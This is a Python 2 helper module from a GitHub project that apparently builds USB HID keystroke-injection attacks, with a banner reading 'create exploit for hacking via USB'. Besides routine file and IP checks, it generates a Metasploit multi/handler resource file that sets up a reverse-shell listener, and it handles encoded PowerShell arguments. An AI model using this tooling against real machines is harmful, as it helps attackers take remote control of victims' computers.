-
Notifications
You must be signed in to change notification settings - Fork 0
/
coreUtils.py
126 lines (100 loc) · 4 KB
/
coreUtils.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/python
#uses HID-Project.h from https://github.com/NicoHood/HID, can be installed from Arduino Library Manager
import sys
import argparse
import os
import subprocess
import socket
def bannerMain():
clearScreen()
banner = " ****************************************************************************\n"
banner += " * d8b d8 d8b *\n"
banner += " * 888 8P8 d8P 888 *\n"
banner += " * 88b d888888P 88b *\n"
banner += " * d8888b 88bd88b 888888b 88b 888 888 d8P d888b 888888b *\n"
banner += " * d8P 888 88P 88P 88b 88P 88P d88 88 88b 88P 88b *\n"
banner += " * 88b d88 d88 d88 d88 d88 88b 888 d88 88b d88 d88 *\n"
banner += " * 88888P d88 d888888P d88 88b 888P 88b 8888P d888888P *\n"
banner += " * *\n"
banner += " * ORBIT SOLUTIONS *\n"
banner += " * www.orbitsolusi.com *\n"
banner += " * *\n"
banner += " ****************************************************************************\n"
banner += "\n"
banner += " \"CREATE EXPLOIT UNTUK HACKING VIA USB\""
banner += "\n"
print banner
def clear():
os.system('clear')
def clearScreen():
if sys.platform == "linux" or sys.platform == "linux2" or sys.platform == "darwin":
clear()
elif sys.platform == "win32":
cls()
def cls():
os.system('cls')
def msfRCfile(IP,port,payload, fileName):
buffer = "use exploit/multi/handler\n"
buffer += "set PAYLOAD " + payload + "\n"
buffer += "set LHOST " + IP + "\n"
buffer += "set LPORT " + port + "\n"
buffer += "set ExitOnSession false\n"
buffer += "set autorunscript migrate -f\n"
buffer += "exploit -j -z\n"
fileName = checkRC(fileName)
file = open(fileName,'w')
file.write(buffer)
file.close()
print "\n\nWrote Metasploit file " + fileName
def checkIP(IPaddress):
try:
socket.inet_aton(IPaddress)
return True
except socket.error:
return False
def FileCheck(fileName):
if os.path.exists(fileName):
overwrite = raw_input ("File " + fileName+ " already exists. Overwrite? Y/N: ")
if overwrite not in ('Y','y','yes','Yes','YES'):
return True
else:
return False
else:
return False
def checkINO(fileName):
if not fileName.endswith('.ino'):
fileName = fileName + ".ino"
return fileName
def checkRC(fileName):
if not fileName.endswith('.rc'):
fileName = fileName + ".rc"
return fileName
def getFileName(defaultFileName):
fileExists = True
while fileExists == True:
fileName = raw_input("Please enter the name of the output file (if left blank the default \""+defaultFileName+"\"): ")
if fileName == "":
fileName = defaultFileName
fileExists = FileCheck(fileName)
fileName = checkINO(fileName)
return fileName
def getRCFileName(defaultFileName):
fileExists = True
while fileExists == True:
fileName = raw_input("Please enter the name of the Metasploit RC file (if left blank the default \""+defaultFileName+"\"): ")
if fileName == "":
fileName = defaultFileName
fileExists = FileCheck(fileName)
fileName = checkRC(fileName)
return fileName
def getBinary(URL):
binary = URL.split("/")[-1]
return binary
def checkQuotes(string):
if string.startswith('-enc') or string.startswith('-Enc'):
string = string.replace('"','')
elif string.startswith('"') and string.endswith('"'):
string = string.replace('"','\\\"')
else:
string = '\\\"' + string + '\\\"'
return string